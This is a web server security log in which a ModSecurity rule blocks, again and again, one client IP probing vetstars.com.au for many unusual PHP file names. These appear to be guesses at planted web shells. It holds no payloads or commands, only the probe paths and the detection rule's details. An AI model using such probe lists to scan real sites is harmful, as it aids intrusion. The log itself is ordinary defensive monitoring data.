[Mon Feb 23 01:00:43.114934 2026] [:error] [pid 28426:tid 28522] [client 20.203.249.16:29590] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login5.php"] [unique_id "aZs2O2gbPVf4pO12NZnKKgAAAIE"]
[Mon Feb 23 01:00:43.587816 2026] [:error] [pid 4806:tid 4816] [client 20.203.249.16:1527] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login5.php"] [unique_id "aZs2O_FTHI_ud-cTYbTrfgAAAQg"]
[Mon Feb 23 01:00:44.080258 2026] [:error] [pid 28425:tid 28510] [client 20.203.249.16:18040] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login5.php"] [unique_id "aZs2PDO7QIkwG1UqFGzjzgAAAFE"]
[Mon Feb 23 01:00:44.552871 2026] [:error] [pid 28558:tid 28568] [client 20.203.249.16:17252] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/login5.php"] [unique_id "aZs2PCdFHR5e1Gd10vd4rAAAAMg"]
[Mon Feb 23 01:00:45.024522 2026] [:error] [pid 28426:tid 28544] [client 20.203.249.16:23243] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZs2PWgbPVf4pO12NZnKLAAAAJY"]
[Mon Feb 23 01:00:45.496903 2026] [:error] [pid 28426:tid 28529] [client 20.203.249.16:23233] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZs2PWgbPVf4pO12NZnKLgAAAIc"]
[Mon Feb 23 01:00:45.968233 2026] [:error] [pid 28425:tid 28500] [client 20.203.249.16:22321] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZs2PTO7QIkwG1UqFGzj0wAAAEc"]
[Mon Feb 23 01:00:47.455110 2026] [:error] [pid 4806:tid 4810] [client 20.203.249.16:1473] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aZs2P_FTHI_ud-cTYbTrhgAAAQI"]
[Mon Feb 23 01:00:47.928383 2026] [:error] [pid 28558:tid 28561] [client 20.203.249.16:19364] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZs2PydFHR5e1Gd10vd4sQAAAME"]
[Mon Feb 23 01:00:48.402118 2026] [:error] [pid 4806:tid 4813] [client 20.203.249.16:25374] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZs2QPFTHI_ud-cTYbTrigAAAQU"]
[Mon Feb 23 01:00:48.874128 2026] [:error] [pid 28424:tid 28443] [client 20.203.249.16:19145] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZs2QABAZT_BJOxE-Z4juAAAAA8"]
[Mon Feb 23 01:00:49.346455 2026] [:error] [pid 28425:tid 28493] [client 20.203.249.16:25415] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lul.php"] [unique_id "aZs2QTO7QIkwG1UqFGzj1AAAAEA"]
[Mon Feb 23 01:00:50.820973 2026] [:error] [pid 28558:tid 28564] [client 20.203.249.16:10226] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aZs2QidFHR5e1Gd10vd4uAAAAMQ"]
[Mon Feb 23 01:00:51.293855 2026] [:error] [pid 28424:tid 28434] [client 20.203.249.16:31015] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aZs2QwBAZT_BJOxE-Z4jwAAAAAY"]
[Mon Feb 23 01:00:51.765514 2026] [:error] [pid 4806:tid 4812] [client 20.203.249.16:31021] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aZs2Q_FTHI_ud-cTYbTrjgAAAQQ"]
[Mon Feb 23 01:00:52.237883 2026] [:error] [pid 28558:tid 28579] [client 20.203.249.16:10194] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "aZs2RCdFHR5e1Gd10vd4uwAAANM"]
[Mon Feb 23 01:00:53.712873 2026] [:error] [pid 28424:tid 28432] [client 20.203.249.16:7171] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aZs2RQBAZT_BJOxE-Z4jxgAAAAQ"]
[Mon Feb 23 01:00:54.186121 2026] [:error] [pid 4806:tid 4826] [client 20.203.249.16:30994] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aZs2RvFTHI_ud-cTYbTrkAAAARI"]
[Mon Feb 23 01:00:54.677206 2026] [:error] [pid 28425:tid 28506] [client 20.203.249.16:22011] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aZs2RjO7QIkwG1UqFGzj2wAAAE0"]
[Mon Feb 23 01:00:55.150073 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:4653] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aZs2RwBAZT_BJOxE-Z4jygAAAAM"]
[Mon Feb 23 01:01:02.787140 2026] [:error] [pid 28424:tid 28438] [client 20.203.249.16:20070] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aZs2TgBAZT_BJOxE-Z4j1QAAAAo"]
[Mon Feb 23 01:01:03.260063 2026] [:error] [pid 28424:tid 28431] [client 20.203.249.16:21520] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aZs2TwBAZT_BJOxE-Z4j2AAAAAM"]
[Mon Feb 23 01:01:03.735535 2026] [:error] [pid 28558:tid 28567] [client 20.203.249.16:17047] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aZs2TydFHR5e1Gd10vd4xwAAAMc"]
[Mon Feb 23 01:01:04.208003 2026] [:error] [pid 28558:tid 28565] [client 20.203.249.16:10210] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aZs2UCdFHR5e1Gd10vd4yAAAAMU"]
[Mon Feb 23 01:01:04.681103 2026] [:error] [pid 28426:tid 28523] [client 20.203.249.16:21552] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aZs2UGgbPVf4pO12NZnKNAAAAII"]
[Mon Feb 23 01:01:05.153648 2026] [:error] [pid 28426:tid 28537] [client 20.203.249.16:7182] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aZs2UWgbPVf4pO12NZnKNQAAAI8"]
[Mon Feb 23 01:01:05.625717 2026] [:error] [pid 28426:tid 28534] [client 20.203.249.16:18391] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aZs2UWgbPVf4pO12NZnKNgAAAIw"]
[Mon Feb 23 01:01:06.098750 2026] [:error] [pid 28558:tid 28561] [client 20.203.249.16:10207] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aZs2UidFHR5e1Gd10vd4ywAAAME"]
[Mon Feb 23 01:01:06.571009 2026] [:error] [pid 28424:tid 28442] [client 20.203.249.16:21514] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aZs2UgBAZT_BJOxE-Z4j3QAAAA4"]
[Mon Feb 23 01:01:10.056109 2026] [:error] [pid 28424:tid 28438] [client 20.203.249.16:18429] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aZs2VgBAZT_BJOxE-Z4j4QAAAAo"]
[Mon Feb 23 01:01:10.529588 2026] [:error] [pid 28424:tid 28439] [client 20.203.249.16:1321] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aZs2VgBAZT_BJOxE-Z4j5gAAAAs"]
[Mon Feb 23 01:01:12.033007 2026] [:error] [pid 28558:tid 28575] [client 20.203.249.16:28160] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aZs2WCdFHR5e1Gd10vd41wAAAM8"]
[Mon Feb 23 01:01:12.506171 2026] [:error] [pid 28424:tid 28428] [client 20.203.249.16:27126] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aZs2WABAZT_BJOxE-Z4j6gAAAAA"]
[Mon Feb 23 01:01:12.979775 2026] [:error] [pid 28558:tid 28580] [client 20.203.249.16:7196] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aZs2WCdFHR5e1Gd10vd42wAAANQ"]
[Mon Feb 23 01:01:13.451683 2026] [:error] [pid 28426:tid 28536] [client 20.203.249.16:27111] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aZs2WWgbPVf4pO12NZnKQQAAAI4"]
[Mon Feb 23 01:01:13.936442 2026] [:error] [pid 28558:tid 28571] [client 20.203.249.16:21646] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a1vx.php"] [unique_id "aZs2WSdFHR5e1Gd10vd43wAAAMs"]
[Mon Feb 23 01:01:14.408693 2026] [:error] [pid 4806:tid 4817] [client 20.203.249.16:27073] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aZs2WvFTHI_ud-cTYbTrpQAAAQk"]
[Mon Feb 23 01:01:14.880614 2026] [:error] [pid 28425:tid 28499] [client 20.203.249.16:25603] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aZs2WjO7QIkwG1UqFGzj_QAAAEY"]
[Mon Feb 23 01:01:18.367945 2026] [:error] [pid 4806:tid 4822] [client 20.203.249.16:27293] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aZs2XvFTHI_ud-cTYbTrqQAAAQ4"]
[Mon Feb 23 01:01:18.839317 2026] [:error] [pid 28424:tid 28434] [client 20.203.249.16:27291] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aZs2XgBAZT_BJOxE-Z4j9AAAAAY"]
[Mon Feb 23 01:01:26.349235 2026] [:error] [pid 28424:tid 28440] [client 20.203.249.16:25130] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aZs2ZgBAZT_BJOxE-Z4kCwAAAAw"]
[Mon Feb 23 01:01:26.820125 2026] [:error] [pid 28424:tid 28441] [client 20.203.249.16:25659] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aZs2ZgBAZT_BJOxE-Z4kDAAAAA0"]
[Mon Feb 23 01:01:27.293028 2026] [:error] [pid 28558:tid 28582] [client 20.203.249.16:28248] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aZs2ZydFHR5e1Gd10vd46AAAANY"]
[Mon Feb 23 01:02:19.520533 2026] [:error] [pid 28424:tid 28442] [client 20.203.249.16:25080] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2mwBAZT_BJOxE-Z4kTwAAAA4"]
[Mon Feb 23 01:02:20.468887 2026] [:error] [pid 28558:tid 28581] [client 20.203.249.16:21481] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2nCdFHR5e1Gd10vd5SgAAANU"]
[Mon Feb 23 01:02:21.415706 2026] [:error] [pid 4806:tid 4828] [client 20.203.249.16:24601] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2nfFTHI_ud-cTYbTsTwAAARQ"]
[Mon Feb 23 01:02:22.361678 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:18103] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vxrl.php"] [unique_id "aZs2nvFTHI_ud-cTYbTsUwAAARA"]
[Mon Feb 23 01:02:22.598340 2026] [:error] [pid 4806:tid 4815] [client 20.203.249.16:24999] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aZs2nvFTHI_ud-cTYbTsVAAAAQc"]
[Mon Feb 23 01:02:23.070668 2026] [:error] [pid 28426:tid 28525] [client 20.203.249.16:29320] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aZs2n2gbPVf4pO12NZnKsAAAAIQ"]
[Mon Feb 23 01:02:26.557962 2026] [:error] [pid 4806:tid 4824] [client 20.203.249.16:28737] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aZs2ovFTHI_ud-cTYbTsWwAAARA"]
[Mon Feb 23 01:02:27.031070 2026] [:error] [pid 28558:tid 28581] [client 20.203.249.16:28773] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/re.php"] [unique_id "aZs2oydFHR5e1Gd10vd5VgAAANU"]
[Mon Feb 23 01:02:27.503462 2026] [:error] [pid 28424:tid 28439] [client 20.203.249.16:17898] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aZs2owBAZT_BJOxE-Z4kWwAAAAs"]
[Mon Feb 23 01:02:27.979558 2026] [:error] [pid 28425:tid 28496] [client 20.203.249.16:21470] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aZs2ozO7QIkwG1UqFGzkdgAAAEM"]
[Mon Feb 23 01:02:28.468313 2026] [:error] [pid 28424:tid 28448] [client 20.203.249.16:27232] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aZs2pABAZT_BJOxE-Z4kXAAAABQ"]
[Mon Feb 23 01:02:28.940495 2026] [:error] [pid 28425:tid 28507] [client 20.203.249.16:18070] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aZs2pDO7QIkwG1UqFGzkfwAAAE4"]
[Mon Feb 23 01:02:29.413380 2026] [:error] [pid 28424:tid 28443] [client 20.203.249.16:27718] [client 20.203.249.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aZs2pQBAZT_BJOxE-Z4kXgAAAA8"]
